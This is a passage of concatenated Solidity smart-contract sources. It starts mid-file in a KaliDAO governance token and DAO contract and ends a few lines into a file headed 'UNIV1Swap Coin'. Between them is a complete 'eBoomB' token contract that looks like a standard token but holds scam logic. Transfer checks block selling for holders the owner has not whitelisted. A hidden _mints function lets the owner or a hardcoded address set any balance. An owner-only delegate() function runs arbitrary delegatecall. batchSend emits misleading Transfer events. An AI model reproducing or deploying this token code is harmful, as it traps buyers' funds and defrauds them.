cannot realistically overflow on human timescales unchecked { for (uint256 i; i < voters_.length; i++) { _mint(voters_[i], shares_[i]); } } } /*/////////////////////////////////////////////////////////////// ERC-20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public payable virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public payable notPaused virtual returns (bool) { balanceOf[msg.sender] -= amount; // cannot overflow because the sum of all user // balances can't exceed the max uint256 value unchecked { balanceOf[to] += amount; } _moveDelegates(delegates(msg.sender), delegates(to), amount); emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public payable notPaused virtual returns (bool) { if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount; balanceOf[from] -= amount; // cannot overflow because the sum of all user // balances can't exceed the max uint256 value unchecked { balanceOf[to] += amount; } _moveDelegates(delegates(from), delegates(to), amount); emit Transfer(from, to, amount); return true; } /*/////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public payable virtual { if (block.timestamp > deadline) revert SignatureExpired(); // cannot realistically overflow on human timescales unchecked { bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); if (recoveredAddress == address(0) || recoveredAddress != owner) revert InvalidSignature(); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator(); } function _computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256('1'), block.chainid, address(this) ) ); } /*/////////////////////////////////////////////////////////////// DAO LOGIC //////////////////////////////////////////////////////////////*/ modifier notPaused() { if (paused) revert Paused(); _; } function delegates(address delegator) public view virtual returns (address) { address current = _delegates[delegator]; return current == address(0) ? delegator : current; } function getCurrentVotes(address account) public view virtual returns (uint256) { // this is safe from underflow because decrement only occurs if `nCheckpoints` is positive unchecked { uint256 nCheckpoints = numCheckpoints[account]; return nCheckpoints != 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } } function delegate(address delegatee) public payable virtual { _delegate(msg.sender, delegatee); } function delegateBySig( address delegatee, uint256 nonce, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public payable virtual { if (block.timestamp > deadline) revert SignatureExpired(); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, deadline)); bytes32 digest = keccak256(abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR(), structHash)); address signatory = ecrecover(digest, v, r, s); if (signatory == address(0)) revert NullAddress(); // cannot realistically overflow on human timescales unchecked { if (nonce != nonces[signatory]++) revert InvalidNonce(); } _delegate(signatory, delegatee); } function getPriorVotes(address account, uint256 timestamp) public view virtual returns (uint96) { if (block.timestamp <= timestamp) revert NotDetermined(); uint256 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) return 0; // this is safe from underflow because decrement only occurs if `nCheckpoints` is positive unchecked { if (checkpoints[account][nCheckpoints - 1].fromTimestamp <= timestamp) return checkpoints[account][nCheckpoints - 1].votes; if (checkpoints[account][0].fromTimestamp > timestamp) return 0; uint256 lower; // this is safe from underflow because decrement only occurs if `nCheckpoints` is positive uint256 upper = nCheckpoints - 1; while (upper > lower) { // this is safe from underflow because `upper` ceiling is provided uint256 center = upper - (upper - lower) / 2; Checkpoint memory cp = checkpoints[account][center]; if (cp.fromTimestamp == timestamp) { return cp.votes; } else if (cp.fromTimestamp < timestamp) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } } function _delegate(address delegator, address delegatee) internal virtual { address currentDelegate = delegates(delegator); _delegates[delegator] = delegatee; _moveDelegates(currentDelegate, delegatee, balanceOf[delegator]); emit DelegateChanged(delegator, currentDelegate, delegatee); } function _moveDelegates( address srcRep, address dstRep, uint256 amount ) internal virtual { if (srcRep != dstRep && amount != 0) if (srcRep != address(0)) { uint256 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum != 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld - amount; _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint256 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum != 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld + amount; _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } function _writeCheckpoint( address delegatee, uint256 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal virtual { unchecked { // this is safe from underflow because decrement only occurs if `nCheckpoints` is positive if (nCheckpoints != 0 && checkpoints[delegatee][nCheckpoints - 1].fromTimestamp == block.timestamp) { checkpoints[delegatee][nCheckpoints - 1].votes = _safeCastTo96(newVotes); } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(_safeCastTo32(block.timestamp), _safeCastTo96(newVotes)); // cannot realistically overflow on human timescales numCheckpoints[delegatee] = nCheckpoints + 1; } } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } /*/////////////////////////////////////////////////////////////// MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // cannot overflow because the sum of all user // balances can't exceed the max uint256 value unchecked { balanceOf[to] += amount; } _moveDelegates(address(0), delegates(to), amount); emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // cannot underflow because a user's balance // will never be larger than the total supply unchecked { totalSupply -= amount; } _moveDelegates(delegates(from), address(0), amount); emit Transfer(from, address(0), amount); } function burn(uint256 amount) public payable virtual { _burn(msg.sender, amount); } function burnFrom(address from, uint256 amount) public payable virtual { if (allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount; _burn(from, amount); } /*/////////////////////////////////////////////////////////////// PAUSE LOGIC //////////////////////////////////////////////////////////////*/ function _flipPause() internal virtual { paused = !paused; emit PauseFlipped(paused); } /*/////////////////////////////////////////////////////////////// SAFECAST LOGIC //////////////////////////////////////////////////////////////*/ function _safeCastTo32(uint256 x) internal pure virtual returns (uint32) { if (x > type(uint32).max) revert Uint32max(); return uint32(x); } function _safeCastTo96(uint256 x) internal pure virtual returns (uint96) { if (x > type(uint96).max) revert Uint96max(); return uint96(x); } } /// @notice Helper utility that enables calling multiple local methods in a single call. /// @author Modified from Uniswap (https://github.com/Uniswap/v3-periphery/blob/main/contracts/base/Multicall.sol) abstract contract Multicall { function multicall(bytes[] calldata data) public payable virtual returns (bytes[] memory results) { results = new bytes[](data.length); // cannot realistically overflow on human timescales unchecked { for (uint256 i = 0; i < data.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(data[i]); if (!success) { if (result.length < 68) revert(); assembly { result := add(result, 0x04) } revert(abi.decode(result, (string))); } results[i] = result; } } } } /// @notice Helper utility for NFT 'safe' transfers. abstract contract NFThelper { function onERC721Received( address, address, uint256, bytes calldata ) external pure returns (bytes4 sig) { sig = 0x150b7a02; // 'onERC721Received(address,address,uint256,bytes)' } function onERC1155Received( address, address, uint256, uint256, bytes calldata ) external pure returns (bytes4 sig) { sig = 0xf23a6e61; // 'onERC1155Received(address,address,uint256,uint256,bytes)' } function onERC1155BatchReceived( address, address, uint256[] calldata, uint256[] calldata, bytes calldata ) external pure returns (bytes4 sig) { sig = 0xbc197c81; // 'onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)' } } /// @notice Gas-optimized reentrancy protection. /// @author Modified from OpenZeppelin /// (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) /// License-Identifier: MIT abstract contract ReentrancyGuard { error Reentrancy(); uint256 private constant NOT_ENTERED = 1; uint256 private constant ENTERED = 2; uint256 private status = NOT_ENTERED; modifier nonReentrant() { if (status == ENTERED) revert Reentrancy(); status = ENTERED; _; status = NOT_ENTERED; } } /// @notice Kali DAO membership extension interface. interface IKaliDAOextension { function setExtension(bytes calldata extensionData) external; function callExtension( address account, uint256 amount, bytes calldata extensionData ) external payable returns (bool mint, uint256 amountOut); } /// @notice Simple gas-optimized Kali DAO core module. contract KaliDAO is KaliDAOtoken, Multicall, NFThelper, ReentrancyGuard { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event NewProposal( address indexed proposer, uint256 indexed proposal, ProposalType indexed proposalType, string description, address[] accounts, uint256[] amounts, bytes[] payloads ); event ProposalCancelled(address indexed proposer, uint256 indexed proposal); event ProposalSponsored(address indexed sponsor, uint256 indexed proposal); event VoteCast(address indexed voter, uint256 indexed proposal, bool indexed approve); event ProposalProcessed(uint256 indexed proposal, bool indexed didProposalPass); /*/////////////////////////////////////////////////////////////// ERRORS //////////////////////////////////////////////////////////////*/ error Initialized(); error PeriodBounds(); error QuorumMax(); error SupermajorityBounds(); error InitCallFail(); error TypeBounds(); error NotProposer(); error Sponsored(); error NotMember(); error NotCurrentProposal(); error AlreadyVoted(); error NotVoteable(); error VotingNotEnded(); error PrevNotProcessed(); error NotExtension(); /*/////////////////////////////////////////////////////////////// DAO STORAGE //////////////////////////////////////////////////////////////*/ string public docs; uint256 private currentSponsoredProposal; uint256 public proposalCount; uint32 public votingPeriod; uint32 public gracePeriod; uint32 public quorum; // 1-100 uint32 public supermajority; // 1-100 bytes32 public constant VOTE_HASH = keccak256('SignVote(address signer,uint256 proposal,bool approve)'); mapping(address => bool) public extensions; mapping(uint256 => Proposal) public proposals; mapping(uint256 => ProposalState) public proposalStates; mapping(ProposalType => VoteType) public proposalVoteTypes; mapping(uint256 => mapping(address => bool)) public voted; mapping(address => uint256) public lastYesVote; enum ProposalType { MINT, // add membership BURN, // revoke membership CALL, // call contracts VPERIOD, // set `votingPeriod` GPERIOD, // set `gracePeriod` QUORUM, // set `quorum` SUPERMAJORITY, // set `supermajority` TYPE, // set `VoteType` to `ProposalType` PAUSE, // flip membership transferability EXTENSION, // flip `extensions` whitelisting ESCAPE, // delete pending proposal in case of revert DOCS // amend org docs } enum VoteType { SIMPLE_MAJORITY, SIMPLE_MAJORITY_QUORUM_REQUIRED, SUPERMAJORITY, SUPERMAJORITY_QUORUM_REQUIRED } struct Proposal { ProposalType proposalType; string description; address[] accounts; // member(s) being added/kicked; account(s) receiving payload uint256[] amounts; // value(s) to be minted/burned/spent; gov setting [0] bytes[] payloads; // data for CALL proposals uint256 prevProposal; uint96 yesVotes; uint96 noVotes; uint32 creationTime; address proposer; } struct ProposalState { bool passed; bool processed; } /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ function init( string memory name_, string memory symbol_, string memory docs_, bool paused_, address[] memory extensions_, bytes[] memory extensionsData_, address[] calldata voters_, uint256[] calldata shares_, uint32[16] memory govSettings_ ) public payable nonReentrant virtual { if (extensions_.length != extensionsData_.length) revert NoArrayParity(); if (votingPeriod != 0) revert Initialized(); if (govSettings_[0] == 0 || govSettings_[0] > 365 days) revert PeriodBounds(); if (govSettings_[1] > 365 days) revert PeriodBounds(); if (govSettings_[2] > 100) revert QuorumMax(); if (govSettings_[3] <= 51 || govSettings_[3] > 100) revert SupermajorityBounds(); KaliDAOtoken._init(name_, symbol_, paused_, voters_, shares_); if (extensions_.length != 0) { // cannot realistically overflow on human timescales unchecked { for (uint256 i; i < extensions_.length; i++) { extensions[extensions_[i]] = true; if (extensionsData_[i].length > 3) { (bool success, ) = extensions_[i].call(extensionsData_[i]); if (!success) revert InitCallFail(); } } } } docs = docs_; votingPeriod = govSettings_[0]; gracePeriod = govSettings_[1]; quorum = govSettings_[2]; supermajority = govSettings_[3]; // set initial vote types proposalVoteTypes[ProposalType.MINT] = VoteType(govSettings_[4]); proposalVoteTypes[ProposalType.BURN] = VoteType(govSettings_[5]); proposalVoteTypes[ProposalType.CALL] = VoteType(govSettings_[6]); proposalVoteTypes[ProposalType.VPERIOD] = VoteType(govSettings_[7]); proposalVoteTypes[ProposalType.GPERIOD] = VoteType(govSettings_[8]); proposalVoteTypes[ProposalType.QUORUM] = VoteType(govSettings_[9]); proposalVoteTypes[ProposalType.SUPERMAJORITY] = VoteType(govSettings_[10]); proposalVoteTypes[ProposalType.TYPE] = VoteType(govSettings_[11]); proposalVoteTypes[ProposalType.PAUSE] = VoteType(govSettings_[12]); proposalVoteTypes[ProposalType.EXTENSION] = VoteType(govSettings_[13]); proposalVoteTypes[ProposalType.ESCAPE] = VoteType(govSettings_[14]); proposalVoteTypes[ProposalType.DOCS] = VoteType(govSettings_[15]); } /*/////////////////////////////////////////////////////////////// PROPOSAL LOGIC //////////////////////////////////////////////////////////////*/ function getProposalArrays(uint256 proposal) public view virtual returns ( address[] memory accounts, uint256[] memory amounts, bytes[] memory payloads ) { Proposal storage prop = proposals[proposal]; (accounts, amounts, payloads) = (prop.accounts, prop.amounts, prop.payloads); } function propose( ProposalType proposalType, string calldata description, address[] calldata accounts, uint256[] calldata amounts, bytes[] calldata payloads ) public payable nonReentrant virtual returns (uint256 proposal) { if (accounts.length != amounts.length || amounts.length != payloads.length) revert NoArrayParity(); if (proposalType == ProposalType.VPERIOD) if (amounts[0] == 0 || amounts[0] > 365 days) revert PeriodBounds(); if (proposalType == ProposalType.GPERIOD) if (amounts[0] > 365 days) revert PeriodBounds(); if (proposalType == ProposalType.QUORUM) if (amounts[0] > 100) revert QuorumMax(); if (proposalType == ProposalType.SUPERMAJORITY) if (amounts[0] <= 51 || amounts[0] > 100) revert SupermajorityBounds(); if (proposalType == ProposalType.TYPE) if (amounts[0] > 11 || amounts[1] > 3 || amounts.length != 2) revert TypeBounds(); bool selfSponsor; // if member or extension is making proposal, include sponsorship if (balanceOf[msg.sender] != 0 || extensions[msg.sender]) selfSponsor = true; // cannot realistically overflow on human timescales unchecked { proposalCount++; } proposal = proposalCount; proposals[proposal] = Proposal({ proposalType: proposalType, description: description, accounts: accounts, amounts: amounts, payloads: payloads, prevProposal: selfSponsor ? currentSponsoredProposal : 0, yesVotes: 0, noVotes: 0, creationTime: selfSponsor ? _safeCastTo32(block.timestamp) : 0, proposer: msg.sender }); if (selfSponsor) currentSponsoredProposal = proposal; emit NewProposal(msg.sender, proposal, proposalType, description, accounts, amounts, payloads); } function cancelProposal(uint256 proposal) public payable nonReentrant virtual { Proposal storage prop = proposals[proposal]; if (msg.sender != prop.proposer) revert NotProposer(); if (prop.creationTime != 0) revert Sponsored(); delete proposals[proposal]; emit ProposalCancelled(msg.sender, proposal); } function sponsorProposal(uint256 proposal) public payable nonReentrant virtual { Proposal storage prop = proposals[proposal]; if (balanceOf[msg.sender] == 0) revert NotMember(); if (prop.proposer == address(0)) revert NotCurrentProposal(); if (prop.creationTime != 0) revert Sponsored(); prop.prevProposal = currentSponsoredProposal; currentSponsoredProposal = proposal; prop.creationTime = _safeCastTo32(block.timestamp); emit ProposalSponsored(msg.sender, proposal); } function vote(uint256 proposal, bool approve) public payable nonReentrant virtual { _vote(msg.sender, proposal, approve); } function voteBySig( address signer, uint256 proposal, bool approve, uint8 v, bytes32 r, bytes32 s ) public payable nonReentrant virtual { bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR(), keccak256( abi.encode( VOTE_HASH, signer, proposal, approve ) ) ) ); address recoveredAddress = ecrecover(digest, v, r, s); if (recoveredAddress == address(0) || recoveredAddress != signer) revert InvalidSignature(); _vote(signer, proposal, approve); } function _vote( address signer, uint256 proposal, bool approve ) internal virtual { Proposal storage prop = proposals[proposal]; if (voted[proposal][signer]) revert AlreadyVoted(); // this is safe from overflow because `votingPeriod` is capped so it will not combine // with unix time to exceed the max uint256 value unchecked { if (block.timestamp > prop.creationTime + votingPeriod) revert NotVoteable(); } uint96 weight = getPriorVotes(signer, prop.creationTime); // this is safe from overflow because `yesVotes` and `noVotes` are capped by `totalSupply` // which is checked for overflow in `KaliDAOtoken` contract unchecked { if (approve) { prop.yesVotes += weight; lastYesVote[signer] = proposal; } else { prop.noVotes += weight; } } voted[proposal][signer] = true; emit VoteCast(signer, proposal, approve); } function processProposal(uint256 proposal) public payable nonReentrant virtual returns ( bool didProposalPass, bytes[] memory results ) { Proposal storage prop = proposals[proposal]; VoteType voteType = proposalVoteTypes[prop.proposalType]; if (prop.creationTime == 0) revert NotCurrentProposal(); // this is safe from overflow because `votingPeriod` and `gracePeriod` are capped so they will not combine // with unix time to exceed the max uint256 value unchecked { if (block.timestamp <= prop.creationTime + votingPeriod + gracePeriod) revert VotingNotEnded(); } // skip previous proposal processing requirement in case of escape hatch if (prop.proposalType != ProposalType.ESCAPE) if (proposals[prop.prevProposal].creationTime != 0) revert PrevNotProcessed(); didProposalPass = _countVotes(voteType, prop.yesVotes, prop.noVotes); if (didProposalPass) { // cannot realistically overflow on human timescales unchecked { if (prop.proposalType == ProposalType.MINT) for (uint256 i; i < prop.accounts.length; i++) { _mint(prop.accounts[i], prop.amounts[i]); } if (prop.proposalType == ProposalType.BURN) for (uint256 i; i < prop.accounts.length; i++) { _burn(prop.accounts[i], prop.amounts[i]); } if (prop.proposalType == ProposalType.CALL) for (uint256 i; i < prop.accounts.length; i++) { results = new bytes[](prop.accounts.length); (, bytes memory result) = prop.accounts[i].call{value: prop.amounts[i]} (prop.payloads[i]); results[i] = result; } // governance settings if (prop.proposalType == ProposalType.VPERIOD) if (prop.amounts[0] != 0) votingPeriod = uint32(prop.amounts[0]); if (prop.proposalType == ProposalType.GPERIOD) if (prop.amounts[0] != 0) gracePeriod = uint32(prop.amounts[0]); if (prop.proposalType == ProposalType.QUORUM) if (prop.amounts[0] != 0) quorum = uint32(prop.amounts[0]); if (prop.proposalType == ProposalType.SUPERMAJORITY) if (prop.amounts[0] != 0) supermajority = uint32(prop.amounts[0]); if (prop.proposalType == ProposalType.TYPE) proposalVoteTypes[ProposalType(prop.amounts[0])] = VoteType(prop.amounts[1]); if (prop.proposalType == ProposalType.PAUSE) _flipPause(); if (prop.proposalType == ProposalType.EXTENSION) for (uint256 i; i < prop.accounts.length; i++) { if (prop.amounts[i] != 0) extensions[prop.accounts[i]] = !extensions[prop.accounts[i]]; if (prop.payloads[i].length > 3) IKaliDAOextension(prop.accounts[i]) .setExtension(prop.payloads[i]); } if (prop.proposalType == ProposalType.ESCAPE) delete proposals[prop.amounts[0]]; if (prop.proposalType == ProposalType.DOCS) docs = prop.description; proposalStates[proposal].passed = true; } } delete proposals[proposal]; proposalStates[proposal].processed = true; emit ProposalProcessed(proposal, didProposalPass); } function _countVotes( VoteType voteType, uint256 yesVotes, uint256 noVotes ) internal view virtual returns (bool didProposalPass) { // fail proposal if no participation if (yesVotes == 0 && noVotes == 0) return false; // rule out any failed quorums if (voteType == VoteType.SIMPLE_MAJORITY_QUORUM_REQUIRED || voteType == VoteType.SUPERMAJORITY_QUORUM_REQUIRED) { uint256 minVotes = (totalSupply * quorum) / 100; // this is safe from overflow because `yesVotes` and `noVotes` // supply are checked in `KaliDAOtoken` contract unchecked { uint256 votes = yesVotes + noVotes; if (votes < minVotes) return false; } } // simple majority check if (voteType == VoteType.SIMPLE_MAJORITY || voteType == VoteType.SIMPLE_MAJORITY_QUORUM_REQUIRED) { if (yesVotes > noVotes) return true; // supermajority check } else { // example: 7 yes, 2 no, supermajority = 66 // ((7+2) * 66) / 100 = 5.94; 7 yes will pass uint256 minYes = ((yesVotes + noVotes) * supermajority) / 100; if (yesVotes >= minYes) return true; } } /*/////////////////////////////////////////////////////////////// EXTENSIONS //////////////////////////////////////////////////////////////*/ receive() external payable virtual {} modifier onlyExtension { if (!extensions[msg.sender]) revert NotExtension(); _; } function callExtension( address extension, uint256 amount, bytes calldata extensionData ) public payable nonReentrant virtual returns (bool mint, uint256 amountOut) { if (!extensions[extension]) revert NotExtension(); (mint, amountOut) = IKaliDAOextension(extension).callExtension{value: msg.value} (msg.sender, amount, extensionData); if (mint) { if (amountOut != 0) _mint(msg.sender, amountOut); } else { if (amountOut != 0) _burn(msg.sender, amount); } } function mintShares(address to, uint256 amount) public payable onlyExtension virtual { _mint(to, amount); } function burnShares(address from, uint256 amount) public payable onlyExtension virtual { _burn(from, amount); } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract eBoomB { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1128272879772349028992474526206451541022554459967)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* UNIV1Swap Coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return 